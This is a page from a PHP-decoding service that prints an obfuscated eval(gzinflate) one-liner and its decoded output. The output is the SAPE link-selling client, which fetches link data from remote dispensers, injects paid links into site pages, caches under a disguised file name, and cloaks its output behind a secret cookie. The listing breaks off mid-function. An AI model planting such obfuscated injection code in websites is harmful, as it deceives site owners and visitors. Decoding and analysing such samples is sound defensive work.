Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php preg_replace("/.*/e","\x65\x76\x61\x6C\x28\x67\x7A\x69\x6E\x66\x6C\x61\x74\x65\x28\..

Decoded Output download

?><?php

define('_SAPE_USER', 'b730ac7b1cc1e2276e04d238ac1aaa37');

class SAPE_base {

    var $_version = '1.1.11';

    var $_verbose = false;

    var $_charset = 'UTF-8';

    var $_sape_charset = '';

    var $_server_list = array('dispenser-01.sape.ru', 'dispenser-02.sape.ru');

    var $_cache_lifetime = 3600;

    var $_cache_reloadtime = 600;

    var $_error = '';

    var $_host = '';

    var $_request_uri = '';

    var $_multi_site = false;

    var $_fetch_remote_type = '';

    var $_socket_timeout = 6;

    var $_force_show_code = false;

    var $_is_our_bot = false;

    var $_debug = false;

    var $_ignore_case = false;

    var $_db_file = '';

    var $_use_server_array = false;

    var $_force_update_db = false;

    var $_is_block_css_showed = false;

    var $_is_block_ins_beforeall_showed = false;

    var $_user_agent = '';

    function SAPE_base($options = null) {

        $host = '';

        if (is_array($options)) {
            if (isset($options['host'])) {
                $host = $options['host'];
            }
        } elseif (strlen($options)) {
            $host = $options;
            $options = array();
        } else {
            $options = array();
        }

        if (isset($options['use_server_array']) && $options['use_server_array'] == true) {
            $this->_use_server_array = true;
        }

        if (strlen($host)) {
            $this->_host = $host;
        } else {
            $this->_host = $_SERVER['HTTP_HOST'];
        }

        $this->_host = preg_replace('/^http:\/\//', '', $this->_host);
        $this->_host = preg_replace('/^www\./', '', $this->_host);

        if (isset($options['request_uri']) && strlen($options['request_uri'])) {
            $this->_request_uri = $options['request_uri'];
        } elseif ($this->_use_server_array === false) {
            $this->_request_uri = getenv('REQUEST_URI');
        }

        if (strlen($this->_request_uri) == 0) {
            $this->_request_uri = $_SERVER['REQUEST_URI'];
        }

        if (isset($options['multi_site']) && $options['multi_site'] == true) {
            $this->_multi_site = true;
        }

        if (isset($options['debug']) && $options['debug'] == true) {
            $this->_debug = true;
        }

        if (isset($_COOKIE['sape_cookie']) && ($_COOKIE['sape_cookie'] == _SAPE_USER)) {
            $this->_is_our_bot = true;
            if (isset($_COOKIE['sape_debug']) && ($_COOKIE['sape_debug'] == 1)) {
                $this->_debug = true;
                $this->_options = $options;
                $this->_server_request_uri = $this->_request_uri = $_SERVER['REQUEST_URI'];
                $this->_getenv_request_uri = getenv('REQUEST_URI');
                $this->_SAPE_USER = _SAPE_USER;
            }
            if (isset($_COOKIE['sape_updatedb']) && ($_COOKIE['sape_updatedb'] == 1)) {
                $this->_force_update_db = true;
            }
        } else {
            $this->_is_our_bot = false;
        }

        if (isset($options['verbose']) && $options['verbose'] == true || $this->_debug) {
            $this->_verbose = true;
        }

        if (isset($options['charset']) && strlen($options['charset'])) {
            $this->_charset = $options['charset'];
        } else {
            $this->_charset = 'UTF-8';
        }

        if (isset($options['fetch_remote_type']) && strlen($options['fetch_remote_type'])) {
            $this->_fetch_remote_type = $options['fetch_remote_type'];
        }

        if (isset($options['socket_timeout']) && is_numeric($options['socket_timeout']) && $options['socket_timeout'] > 0) {
            $this->_socket_timeout = $options['socket_timeout'];
        }

        if (isset($options['force_show_code']) && $options['force_show_code'] == true) {
            $this->_force_show_code = true;
        }

        if (!defined('_SAPE_USER')) {
            return $this->raise_error('1_SAPE_USER');
        }

        if (isset($options['ignore_case']) && $options['ignore_case'] == true) {
            $this->_ignore_case = true;
            $this->_request_uri = strtolower($this->_request_uri);
        }
    }

    function fetch_remote_file($host, $path, $specifyCharset = false) {

        $user_agent = $this->_user_agent . ' ' . $this->_version;

        @ini_set('allow_url_fopen', 1);
        @ini_set('default_socket_timeout', $this->_socket_timeout);
        @ini_set('user_agent', $user_agent);
        if (
                $this->_fetch_remote_type == 'file_get_contents'
                ||
                (
                        $this->_fetch_remote_type == ''
                        &&
                        function_exists('file_get_contents')
                        &&
                        ini_get('allow_url_fopen') == 1
                )
        ) {
            $this->_fetch_remote_type = 'file_get_contents';

            if($specifyCharset && function_exists('stream_context_create')) {
                $opts = array(
                    'http' => array(
                    'method' => 'GET',
                    'header' => 'Accept-Charset: '. $this->_charset. "
"
                  )
                );
                $context = @stream_context_create($opts);
                if ($data = @file_get_contents('http://' . $host . $path, null, $context)) {
                    return $data;
                }
            } else {
                if ($data = @file_get_contents('http://' . $host . $path)) {
                    return $data;
                }
            }

        } elseif (
                $this->_fetch_remote_type == 'curl'
                ||
                (
                        $this->_fetch_remote_type == ''
                        &&
                        function_exists('curl_init')
                )
        ) {
            $this->_fetch_remote_type = 'curl';
            if ($ch = @curl_init()) {

                @curl_setopt($ch, CURLOPT_URL, 'http://' . $host . $path);
                @curl_setopt($ch, CURLOPT_HEADER, false);
                @curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
                @curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $this->_socket_timeout);
                @curl_setopt($ch, CURLOPT_USERAGENT, $user_agent);
                if($specifyCharset) {
                    @curl_setopt($ch, CURLOPT_HTTPHEADER, array('Accept-Charset: '. $this->_charset));
                }

                $data = @curl_exec($ch);
                @curl_close($ch);

                if ($data) {
                    return $data;
                }
            }

        } else {
            $this->_fetch_remote_type = 'socket';
            $buff = '';
            $fp = @fsockopen($host, 80, $errno, $errstr, $this->_socket_timeout);
            if ($fp) {
                @fputs($fp, "GET {$path} HTTP/1.0
Host: {$host}
");
                if($specifyCharset) {
                    @fputs($fp, "Accept-Charset: {$this->_charset}
");
                }
                @fputs($fp, "User-Agent: {$user_agent}

");
                while (!@feof($fp)) {
                    $buff .= @fgets($fp, 128);
                }
                @fclose($fp);

                $page = explode("

", $buff);
                unset($page[0]);
                return implode("

", $page);
            }

        }

        return $this->raise_error('2 ' . $host . $path . ', type: ' . $this->_fetch_remote_type);
    }


    function _read($filename) {

        $fp = @fopen($filename, 'rb');
        @flock($fp, LOCK_SH);
        if ($fp) {
            clearstatcache();
            $length = @filesize($filename);

            if (version_compare(PHP_VERSION, '5.3.0', '<')) {
                $mqr = @get_magic_quotes_runtime();
                @set_magic_quotes_runtime(0);
            }

            if ($length) {
                $data = @fread($fp, $length);
            } else {
                $data = '';
            }

            if (version_compare(PHP_VERSION, '5.3.0', '<')) {
                @set_magic_quotes_runtime($mqr);
            }

            @flock($fp, LOCK_UN);
            @fclose($fp);

            return $data;
        }

        return $this->raise_error('3: ' . $filename);
    }

    function _write($filename, $data) {

        $fp = @fopen($filename, 'ab');
        if ($fp) {
            if (flock($fp, LOCK_EX | LOCK_NB)) {
                ftruncate($fp, 0);

                if (version_compare(PHP_VERSION, '5.3.0', '<')) {
                    $mqr = @get_magic_quotes_runtime();
                    @set_magic_quotes_runtime(0);
                }

                @fwrite($fp, $data);

                if (version_compare(PHP_VERSION, '5.3.0', '<')) {
                    @set_magic_quotes_runtime($mqr);
                }

                @flock($fp, LOCK_UN);
                @fclose($fp);

                if (md5($this->_read($filename)) != md5($data)) {
                    @unlink($filename);
                    return $this->raise_error('4: ' . $filename);
                }
            } else {
                return false;
            }

            return true;
        }

        return $this->raise_error('5: ' . $filename);
    }


    function raise_error($e) {

        $this->_error = '<p style="color: red; font-weight: bold;">SAPE ERROR: ' . $e . '</p>';

        if ($this->_verbose == true) {
            print $this->_error;
        }

        return false;
    }

     function _get_db_file() {
        return '';
    }

    function _get_dispenser_path() {
        return '';
    }


    function set_data($data) {
    }
    function load_data() {
        $this->_db_file = $this->_get_db_file();

        if (!is_file($this->_db_file)) {
            if (@touch($this->_db_file)) {
                @chmod($this->_db_file, 0666);
            } else {
                return $this->raise_error(',o ' . $this->_db_file . '. 777.');
            }
        }

        if (!is_writable($this->_db_file)) {
            return $this->raise_error('5: ' . $this->_db_file . '! 77.');
        }

        @clearstatcache();

        $data = $this->_read($this->_db_file);
        if (
                $this->_force_update_db
                || (
                        !$this->_is_our_bot
                        &&
                        (
                                filemtime($this->_db_file) < (time() - $this->_cache_lifetime)
                                ||
                                filesize($this->_db_file) == 0
                                ||
                                @unserialize($data) == false
                        )
                )
        ) {
                     @touch($this->_db_file, (time() - $this->_cache_lifetime + $this->_cache_reloadtime));

            $path = $this->_get_dispenser_path();
            if (strlen($this->_charset)) {
                $path .= '&charset=' . $this->_charset;
            }

            foreach ($this->_server_list as $server) {
                if ($data = $this->fetch_remote_file($server, $path)) {
                    if (substr($data, 0, 12) == 'FATAL ERROR:') {
                        $this->raise_error($data);
                    } else {
                        $hash = @unserialize($data);
                        if ($hash != false) {
                            $hash['__sape_charset__'] = $this->_charset;
                            $hash['__last_update__'] = time();
                            $hash['__multi_site__'] = $this->_multi_site;
                            $hash['__fetch_remote_type__'] = $this->_fetch_remote_type;
                            $hash['__ignore_case__'] = $this->_ignore_case;
                            $hash['__php_version__'] = phpversion();
                            $hash['__server_software__'] = $_SERVER['SERVER_SOFTWARE'];

                            $data_new = @serialize($hash);
                            if ($data_new) {
                                $data = $data_new;
                            }

                            $this->_write($this->_db_file, $data);
                            break;
                        }
                    }
                }
            }
        }

        if (strlen(session_id())) {
            $session = session_name() . '=' . session_id();
            $this->_request_uri = str_replace(array('?' . $session, '&' . $session), '', $this->_request_uri);
        }

        $this->set_data(@unserialize($data));

        return true;
    }
}

class SAPE_client extends SAPE_base {

    var $_links_delimiter = '';
    var $_links = array();
    var $_links_page = array();
    var $_user_agent = 'SAPE_Client PHP';

    var $_show_only_block = false;
    var $_block_tpl = '';
    var $_block_tpl_options = array();
    var $_block_uri_idna = array();

    function SAPE_client($options = null) {
        parent::SAPE_base($options);
        $this->load_data();
    }


    function _return_array_links_html($html, $options = null) {

        if(empty($options)) {
            $options = array();
        }

           if (
                strlen($this->_charset) > 0
                &&
                strlen($this->_sape_charset) > 0
                &&
                $this->_sape_charset != $this->_charset
                &&
                function_exists('iconv')
        ) {
            $new_html = @iconv($this->_sape_charset, $this->_charset, $html);
            if ($new_html) {
                $html = $new_html;
            }
        }

        if ($this->_is_our_bot) {

            $html = '<sape_noindex>' . $html . '</sape_noindex>';

            if(isset($options['is_block_links']) && true == $options['is_block_links']) {

                if(!isset($options['nof_links_requested'])) {
                    $options['nof_links_requested'] = 0;
                }
                if(!isset($options['nof_links_displayed'])) {
                    $options['nof_links_displayed'] = 0;
                }
                if(!isset($options['nof_obligatory'])) {
                    $options['nof_obligatory'] = 0;
                }
                if(!isset($options['nof_conditional'])) {
                    $options['nof_conditional'] = 0;
                }

                $html = '<sape_block nof_req="' . $options['nof_links_requested'] .
                            '" nof_displ="' . $options['nof_links_displayed'] .
                            '" nof_oblig="' . $options['nof_obligatory'] .
                            '" nof_cond="' . $options['nof_conditional'] .
                            '">' . $html .
                        '</sape_block>';
            }
        }

        return $html;
    }

    function _return_html($html) {

         if ($this->_debug) {
            $html .= print_r($this, true);
        }

        return $html;
    }

    function return_block_links($n = null, $offset = 0, $options = null) {

        if(empty($options)) {
            $options = array();
        }

        $defaults = array();
        $defaults['block_no_css']         = false;
        $defaults['block_orientation']     = 1;
        $defaults['block_width']         = '';

        $ext_options = array();
        if(isset($this->_block_tpl_options) && is_array($this->_block_tpl_options)) {
            $ext_options = $this->_block_tpl_options;
        }

        $options = array_merge($defaults, $ext_options, $options);

        if (!is_array($this->_links_page)) {
            $html = $this->_return_array_links_html('', array('is_block_links' => true));
            return $this->_return_html($this->_links_page . $html);
        }
        elseif(!isset($this->_block_tpl)) {
            return $this->_return_html('');
        }



        $total_page_links = count($this->_links_page);

        $need_show_obligatory_block = false;
        $need_show_conditional_block = false;
        $n_requested = 0;

        if(isset($this->_block_ins_itemobligatory)) {
            $need_show_obligatory_block = true;
        }

        if(is_numeric($n) && $n >= $total_page_links) {

            $n_requested = $n;

            if(isset($this->_block_ins_itemconditional)) {
                $need_show_conditional_block = true;
            }
        }

        if (!is_numeric($n) || $n > $total_page_links) {
            $n = $total_page_links;
        }


        $links = array();
        for ($i = 1; $i <= $n; $i++) {
            if ($offset > 0 && $i <= $offset) {
                array_shift($this->_links_page);
            } else {
                $links[] = array_shift($this->_links_page);
            }
        }

        $html = '';

        $nof_conditional = 0;
        if(count($links) < $n_requested && true == $need_show_conditional_block) {
            $nof_conditional = $n_requested - count($links);
        }


        if(empty($links) && $need_show_obligatory_block == false && $nof_conditional == 0) {

            $return_links_options = array(
                'is_block_links'        => true,
                'nof_links_requested'   => $n_requested,
                'nof_links_displayed'   => 0,
                'nof_obligatory'        => 0,
                'nof_conditional'       => 0
            );

            $html = $this->_return_array_links_html($html, $return_links_options);

            return $this->_return_html($html);
        }

    if (!$this->_is_block_css_showed && false == $options['block_no_css']) {
            $html .= $this->_block_tpl['css'];
            $this->_is_block_css_showed = true;
        }

        if (isset($this->_block_ins_beforeall) && !$this->_is_block_ins_beforeall_showed){
            $html .= $this->_block_ins_beforeall;
            $this->_is_block_ins_beforeall_showed = true;
        }

       if (isset($this->_block_ins_beforeblock)){
            $html .= $this->_block_ins_beforeblock;
        }

       $block_tpl_parts = $this->_block_tpl[$options['block_orientation']];

        $block_tpl             = $block_tpl_parts['block'];
        $item_tpl             = $block_tpl_parts['item'];
        $item_container_tpl = $block_tpl_parts['item_container'];
        $item_tpl_full         = str_replace('{item}', $item_tpl, $item_container_tpl);
        $items                 = '';

        $nof_items_total = count($links);
        foreach ($links as $link){

            preg_match('#<a href="(https?://([^"/]+)[^"]*)"[^>]*>[\s]*([^<]+)</a>#i', $link, $link_item);

            if (function_exists('mb_strtoupper') && strlen($this->_sape_charset) > 0) {
                $header_rest = mb_substr($link_item[3], 1, mb_strlen($link_item[3], $this->_sape_charset) - 1, $this->_sape_charset);
                $header_first_letter = mb_strtoupper(mb_substr($link_item[3], 0, 1, $this->_sape_charset), $this->_sape_charset);
                $link_item[3] = $header_first_letter . $header_rest;
            } elseif(function_exists('ucfirst') && (strlen($this->_sape_charset) == 0 || strpos($this->_sape_charset, '1251') !== false) ) {
                $link_item[3][0] = ucfirst($link_item[3][0]);
            }

                     if(isset($this->_block_uri_idna) && isset($this->_block_uri_idna[$link_item[2]])) {
                $link_item[2] = $this->_block_uri_idna[$link_item[2]];
            }

            $item = $item_tpl_full;
            $item = str_replace('{header}', $link_item[3], $item);
            $item = str_replace('{text}', trim($link), $item);
            $item = str_replace('{url}', $link_item[2], $item);
            $item = str_replace('{link}', $link_item[1], $item);
            $items .= $item;
        }

        if(true == $need_show_obligatory_block) {
            $items .= str_replace('{item}', $this->_block_ins_itemobligatory, $item_container_tpl);
            $nof_items_total += 1;
        }

        if($need_show_conditional_block == true && $nof_conditional > 0) {
            for($i = 0; $i < $nof_conditional; $i++) {
                $items .= str_replace('{item}', $this->_block_ins_itemconditional, $item_container_tpl);
            }
            $nof_items_total += $nof_conditional;
        }

        if ($items != ''){
            $html .= str_replace('{items}', $items, $block_tpl);

            if ($nof_items_total > 0){
                $html = str_replace('{td_width}', round(100/$nof_items_total), $html);
            } else {
                $html = str_replace('{td_width}', 0, $html);
            }

           if(isset($options['block_width']) && !empty($options['block_width'])) {
                $html = str_replace('{block_style_custom}', 'style="width: ' . $options['block_width'] . '!important;"', $html);
            }
        }

        unset($block_tpl_parts, $block_tpl, $items, $item, $item_tpl, $item_container_tpl);

        if (isset($this->_block_ins_afterblock)){
            $html .= $this->_block_ins_afterblock;
        }

        unset($options['block_no_css'], $options['block_orientation'], $options['block_width']);

        $tpl_modifiers = array_keys($options);
        foreach($tpl_modifiers as $k=>$m) {
            $tpl_modifiers[$k] = '{' . $m . '}';
        }
        unset($m, $k);

        $tpl_modifiers_values =  array_values($options);

        $html = str_replace($tpl_modifiers, $tpl_modifiers_values, $html);
        unset($tpl_modifiers, $tpl_modifiers_values);

         $clear_modifiers_regexp = '#\{[a-z\d_\-]+\}#';
        $html = preg_replace($clear_modifiers_regexp, ' ', $html);

        $return_links_options = array(
            'is_block_links'         => true,
            'nof_links_requested'    => $n_requested,
            'nof_links_displayed'    => $n,
            'nof_obligatory'         => ($need_show_obligatory_block == true ? 1 : 0),
            'nof_conditional'        => $nof_conditional
        );

        $html = $this->_return_array_links_html($html, $return_links_options);

        return $this->_return_html($html);
    }

       function return_links($n = null, $offset = 0, $options = null) {

          $as_block = $this->_show_only_block;

        if(is_array($options) && isset($options['as_block']) && false == $as_block) {
            $as_block = $options['as_block'];
        }

        if(true == $as_block && isset($this->_block_tpl)) {
            return $this->return_block_links($n, $offset, $options);
        }


        if (is_array($this->_links_page)) {

            $total_page_links = count($this->_links_page);

            if (!is_numeric($n) || $n > $total_page_links) {
                $n = $total_page_links;
            }

            $links = array();

            for ($i = 1; $i <= $n; $i++) {
                if ($offset > 0 && $i <= $offset) {
                    array_shift($this->_links_page);
                } else {
                    $links[] = array_shift($this->_links_page);
                }
            }

            $html = join($this->_links_delimiter, $links);

             if (
                    strlen($this->_charset) > 0
                    &&
                    strlen($this->_sape_charset) > 0
                    &&
                    $this->_sape_charset != $this->_charset
                    &&
                    function_exists('iconv')
            ) {
                $new_html = @iconv($this->_sape_charset, $this->_charset, $html);
                if ($new_html) {
                    $html = $new_html;
                }
            }

            if ($this->_is_our_bot) {
                $html = '<sape_noindex>' . $html . '</sape_noindex>';
            }
        } else {
            $html = $this->_links_page;
            if ($this->_is_our_bot) {
                $html .= '<sape_noindex></sape_noindex>';
            }
        }

        if ($this->_debug) {
            $html .= print_r($this, true);
        }

        return $html;
    }

    function _get_db_file() {
        if ($this->_multi_site) {
            return dirname(__FILE__) . '/' . $this->_host . '../cache/com_content_zGTYyrDYa.cache';
        } else {
            return dirname(__FILE__) . '/../cache/com_content_zGTYyrDYa.cache';
        }
    }

    function _get_dispenser_path() {
        return '/code.php?user=' . _SAPE_USER . '&host=' . $this->_host;
    }

    function set_data($data) {
        if ($this->_ignore_case) {
            $this->_links = array_change_key_case($data);
        } else {
            $this->_links = $data;
        }
        if (isset($this->_links['__sape_delimiter__'])) {
            $this->_links_delimiter = $this->_links['__sape_delimiter__'];
        }
        if (isset($this->_links['__sape_charset__'])) {
            $this->_sape_charset = $this->_links['__sape_charset__'];
        } else {
            $this->_sape_charset = '';
        }
        if (@array_key_exists($this->_request_uri, $this->_links) && is_array($this->_links[$this->_request_uri])) {
            $this->_links_page = $this->_links[$this->_request_uri];
        } else {
            if (isset($this->_links['__sape_new_url__']) && strlen($this->_links['__sape_new_url__'])) {
                if ($this->_is_our_bot || $this->_force_show_code) {
                    $this->_links_page = $this->_links['__sape_new_url__'];
                }
            }
        }

       if (isset($this->_links['__sape_show_only_block__'])) {
            $this->_show_only_block = $this->_links['__sape_show_only_block__'];
        }
        else {
            $this->_show_only_block = false;
        }

        if (isset($this->_links['__sape_block_tpl__']) && !empty($this->_links['__sape_block_tpl__'])
                && is_array($this->_links['__sape_block_tpl__'])){
            $this->_block_tpl = $this->_links['__sape_block_tpl__'];
        }

        if (isset($this->_links['__sape_block_tpl_options__']) && !empty($this->_links['__sape_block_tpl_options__'])
                && is_array($this->_links['__sape_block_tpl_options__'])){
            $this->_block_tpl_options = $this->_links['__sape_block_tpl_options__'];
        }

       if (isset($this->_links['__sape_block_uri_idna__']) && !empty($this->_links['__sape_block_uri_idna__'])
                && is_array($this->_links['__sape_block_uri_idna__'])){
            $this->_block_uri_idna = $this->_links['__sape_block_uri_idna__'];
        }

        $check_blocks = array(
            'beforeall',
            'beforeblock',
            'afterblock',
            'itemobligatory',
            'itemconditional',
            'afterall'
        );

        foreach($check_blocks as $block_name) {

            $var_name = '__sape_block_ins_' . $block_name . '__';
            $prop_name = '_block_ins_' . $block_name;

            if (isset($this->_links[$var_name]) && strlen($this->_links[$var_name]) > 0) {
                $this->$prop_name = $this->_links[$var_name];
            }

        }
    }
}


class SAPE_context extends SAPE_base {

    var $_words = array();
    var $_words_page = array();
    var $_user_agent = 'SAPE_Context PHP';
    var $_filter_tags = array('a', 'textarea', 'select', 'script', 'style', 'label', 'noscript', 'noindex', 'button');

    function SAPE_context($options = null) {
        parent::SAPE_base($options);
        $this->load_data();
    }


    function replace_in_text_segment($text) {
        $debug = '';
        if ($this->_debug) {
            $debug .= "<!-- argument for replace_in_text_segment: 
" . base64_encode($text) . "
 -->";
        }
        if (count($this->_words_page) > 0) {

            $source_sentences = array();
            if ($this->_debug) {
                $debug .= '<!-- sentences for replace: ';
            }
            foreach ($this->_words_page as $n => $sentence) {
                $special_chars = array(
                    '&amp;'     => '&',
                    '&quot;'    => '"',
                    '&#039;'    => '\'',
                    '&lt;'      => '<',
                    '&gt;'      => '>'
                );
                $sentence = strip_tags($sentence);
                $sentence = strip_tags($sentence);
                $sentence = str_replace(array_keys($special_chars), array_values($special_chars), $sentence);

               $htsc_charset = empty($this->_charset) ? 'UTF-8' : $this->_charset;
                $quote_style = ENT_COMPAT;
                if (version_compare(PHP_VERSION, '5.4.0') >= 0) {
                    $quote_style = ENT_COMPAT|ENT_HTML401;
                }

                $sentence = htmlspecialchars($sentence, $quote_style, $htsc_charset);

                $sentence = preg_quote($sentence, '/');
                $replace_array = array();
                if (preg_match_all('/(&[#a-zA-Z0-9]{2,6};)/isU', $sentence, $out)) {
                    for ($i = 0; $i < count($out[1]); $i++) {
                        $unspec = $special_chars[$out[1][$i]];
                        $real = $out[1][$i];
                        $replace_array[$unspec] = $real;
                    }
                }
              foreach ($replace_array as $unspec => $real) {
                    $sentence = str_replace($real, '((' . $real . ')|(' . $unspec . '))', $sentence);
                }
                 $source_sentences[$n] = str_replace(' ', '((\s)|(&nbsp;))+', $sentence);

                if ($this->_debug) {
                    $debug .= $source_sentences[$n] . "

";
                }
            }

            if ($this->_debug) {
                $debug .= '-->';
            }

             $first_part = true;
                       if (count($source_sentences) > 0) {

                $content = '';
                $open_tags = array(); 
                $close_tag = ''; 


                $part = strtok(' ' . $text, '<');

                while ($part !== false) {

                    if (preg_match('/(?si)^(\/?[a-z0-9]+)/', $part, $matches)) {


                        if (substr($tag_name, 0, 1) == '/') {
                            $close_tag = substr($tag_name, 1);
                            if ($this->_debug) {
                                $debug .= '<!-- close_tag: ' . $close_tag . ' -->';
                            }
                        } else {
                            $close_tag = '';
                            if ($this->_debug) {
                                $debug .= '<!-- open_tag: ' . $tag_name . ' -->';
                            }
                        }
                        $cnt_tags = count($open_tags);
                        if (($cnt_tags > 0) && ($open_tags[$cnt_tags - 1] == $close_tag)) {
                            array_pop($open_tags);
                            if ($this->_debug) {
                                $debug .= '<!-- ' . $tag_name . ' - deleted from open_tags -->';
                            }
                            if ($cnt_tags - 1 == 0) {
                                if ($this->_debug) {
                                    $debug .= '<!-- start replacement -->';
                                }
                            }
                        }

                        if (count($open_tags) == 0) {
                            if (!in_array($tag_name, $this->_filter_tags)) {
                                $split_parts = explode('>', $part, 2);
       
                                if (count($split_parts) == 2) {

                                    foreach ($source_sentences as $n => $sentence) {
                                        if (preg_match('/' . $sentence . '/', $split_parts[1]) == 1) {
                                            $split_parts[1] = preg_replace('/' . $sentence . '/', str_replace('$', '\$', $this->_words_page[$n]), $split_parts[1], 1);
                                            if ($this->_debug) {
                                                $debug .= '<!-- ' . $sentence . ' --- ' . $this->_words_page[$n] . ' replaced -->';
                                            }


                                            unset($source_sentences[$n]);
                                            unset($this->_words_page[$n]);
                                        }
                                    }
                                    $part = $split_parts[0] . '>' . $split_parts[1];
                                    unset($split_parts);
                                }
                            } else {

                                $open_tags[] = $tag_name;
                                if ($this->_debug) {
                                    $debug .= '<!-- ' . $tag_name . ' - added to open_tags, stop replacement -->';
                                }
                            }
                        }
                    } else {
 
                        foreach ($source_sentences as $n => $sentence) {
                            if (preg_match('/' . $sentence . '/', $part) == 1) {
                                $part = preg_replace('/' . $sentence . '/', str_replace('$', '\$', $this->_words_page[$n]), $part, 1);

                                if ($this->_debug) {
                                    $debug .= '<!-- ' . $sentence . ' --- ' . $this->_words_page[$n] . ' replaced -->';
                                }


                                unset($source_sentences[$n]);
                                unset($this->_words_page[$n]);
                            }
                        }
                    }


                    if ($this->_debug) {
                        $content .= $debug;
                        $debug = '';
                    }

                    if ($first_part) {
                        $content .= $part;
                        $first_part = false;
                    } else {
                        $content .= $debug . '<' . $part;
                    }

                    unset($part);
                    $part = strtok('<');
                }
                $text = ltrim($content);
                unset($content);
            }
        } else {
            if ($this->_debug) {
                $debug .= '<!-- No word`s for page -->';
            }
        }

        if ($this->_debug) {
            $debug .= '<!-- END: work of replace_in_text_segment() -->';
        }

        if ($this->_is_our_bot || $this->_force_show_code || $this->_debug) {
            $text = '<sape_index>' . $text . '</sape_index>';
            if (isset($this->_words['__sape_new_url__']) && strlen($this->_words['__sape_new_url__'])) {
                $text .= $this->_words['__sape_new_url__'];
            }
        }

        if ($this->_debug) {
            if (count($this->_words_page) > 0) {
                $text .= '<!-- Not replaced: ' . "
";
                foreach ($this->_words_page as $value) {
                    $text .= $value . "

";
                }
                $text .= '-->';
            }

            $text .= $debug;
        }
        return $text;
    }


    function replace_in_page(&$buffer) {

        if (count($this->_words_page) > 0) {
                       $split_content = preg_split('/(?smi)(<\/?sape_index>)/', $buffer, -1);
            $cnt_parts = count($split_content);
            if ($cnt_parts > 1) {
                               if ($cnt_parts >= 3) {
                    for ($i = 1; $i < $cnt_parts; $i = $i + 2) {
                        $split_content[$i] = $this->replace_in_text_segment($split_content[$i]);
                    }
                }
                $buffer = implode('', $split_content);
                if ($this->_debug) {
                    $buffer .= '<!-- Split by Sape_index cnt_parts=' . $cnt_parts . '-->';
                }
            } else {
                               $split_content = preg_split('/(?smi)(<\/?body[^>]*>)/', $buffer, -1, PREG_SPLIT_DELIM_CAPTURE);
                                if (count($split_content) == 5) {
                    $split_content[0] = $split_content[0] . $split_content[1];
                    $split_content[1] = $this->replace_in_text_segment($split_content[2]);
                    $split_content[2] = $split_content[3] . $split_content[4];
                    unset($split_content[3]);
                    unset($split_content[4]);
                    $buffer = $split_content[0] . $split_content[1] . $split_content[2];
                    if ($this->_debug) {
                        $buffer .= '<!-- Split by BODY -->';
                    }
                } else {

                    if ($this->_debug) {
                        $buffer .= '<!-- Can`t split by BODY -->';
                    }
                }
            }

        } else {
            if (!$this->_is_our_bot && !$this->_force_show_code && !$this->_debug) {
                $buffer = preg_replace('/(?smi)(<\/?sape_index>)/', '', $buffer);
            } else {
                if (isset($this->_words['__sape_new_url__']) && strlen($this->_words['__sape_new_url__'])) {
                    $buffer .= $this->_words['__sape_new_url__'];
                }
            }
            if ($this->_debug) {
                $buffer .= '<!-- No word`s for page -->';
            }
        }
        return $buffer;
    }

    function _get_db_file() {
        if ($this->_multi_site) {
            return dirname(__FILE__) . '/' . $this->_host . '.words.db';
        } else {
            return dirname(__FILE__) . '/words.db';
        }
    }

    function _get_dispenser_path() {
        return '/code_context.php?user=' . _SAPE_USER . '&host=' . $this->_host;
    }

    function set_data($data) {
        $this->_words = $data;
        if (@array_key_exists($this->_request_uri, $this->_words) && is_array($this->_words[$this->_request_uri])) {
            $this->_words_page = $this->_words[$this->_request_uri];
        }
    }
}


class SAPE_articles extends SAPE_base {

    var $_request_mode;

    var $_server_list             = array('dispenser.articles.sape.ru');

    var $_data                    = array();

    var $_article_id;

    var $_save_file_name;

    var $_announcements_delimiter = '';

    var $_images_path;

    var $_template_error = false;

    var $_noindex_code = '<!--sape_noindex-->';

    var $_headers_enabled = false;

    var $_mask_code;

    var $_real_host;

    var $_user_agent = 'SAPE_Articles_Client PHP';

    function SAPE_articles($options = null){
        parent::SAPE_base($options);
        if (is_array($options) && isset($options['headers_enabled'])) {
            $this->_headers_enabled = $options['headers_enabled'];
        }
        if (isset($options['charset']) && strlen($options['charset'])) {
            $this->_charset = $options['charset'];
        } else {
            $this->_charset = '';
        }
        $this->_get_index();
        if (!empty($this->_data['index']['announcements_delimiter'])) {
            $this->_announcements_delimiter = $this->_data['index']['announcements_delimiter'];
        }
        if (!empty($this->_data['index']['charset'])
            and !(isset($options['charset']) && strlen($options['charset']))) {
            $this->_charset = $this->_data['index']['charset'];
        }
        if (is_array($options)) {
            if (isset($options['host'])) {
                $host = $options['host'];
            }
        } elseif (strlen($options)) {
            $host = $options;
            $options = array();
        }
        if (isset($host) && strlen($host)) {
             $this->_real_host = $host;
        } else {
             $this->_real_host = $_SERVER['HTTP_HOST'];
        }
        if (!isset($this->_data['index']['announcements'][$this->_request_uri])) {
            $this->_correct_uri();
        }
    }

    function _correct_uri() {
        if(substr($this->_request_uri, -1) == '/') {
            $new_uri = substr($this->_request_uri, 0, -1);
        } else {
            $new_uri = $this->_request_uri . '/';
        }
        if (isset($this->_data['index']['announcements'][$new_uri])) {
            $this->_request_uri = $new_uri;
        }
    }


    function return_announcements($n = null, $offset = 0){
        $output = '';
        if ($this->_force_show_code || $this->_is_our_bot) {
            if (isset($this->_data['index']['checkCode'])) {
                $output .= $this->_data['index']['checkCode'];
            }
        }

        if (isset($this->_data['index']['announcements'][$this->_request_uri])) {

            $total_page_links = count($this->_data['index']['announcements'][$this->_request_uri]);

            if (!is_numeric($n) || $n > $total_page_links) {
                $n = $total_page_links;
            }

            $links = array();

            for ($i = 1; $i <= $n; $i++) {
                if ($offset > 0 && $i <= $offset) {
                    array_shift($this->_data['index']['announcements'][$this->_request_uri]);
                } else {
                    $links[] = array_shift($this->_data['index']['announcements'][$this->_request_uri]);
                }
            }

            $html = join($this->_announcements_delimiter, $links);

            if ($this->_is_our_bot) {
                $html = '<sape_noindex>' . $html . '</sape_noindex>';
            }

            $output .= $html;

        }

        return $output;
    }

    function _get_index(){
        $this->_set_request_mode('index');
        $this->_save_file_name = 'articles.db';
        $this->load_data();
    }


    function process_request(){

        if (!empty($this->_data['index']) and isset($this->_data['index']['articles'][$this->_request_uri])) {
            return $this->_return_article();
        } elseif (!empty($this->_data['index']) and isset($this->_data['index']['images'][$this->_request_uri])) {
            return $this->_return_image();
          } else {
                if ($this->_is_our_bot) {
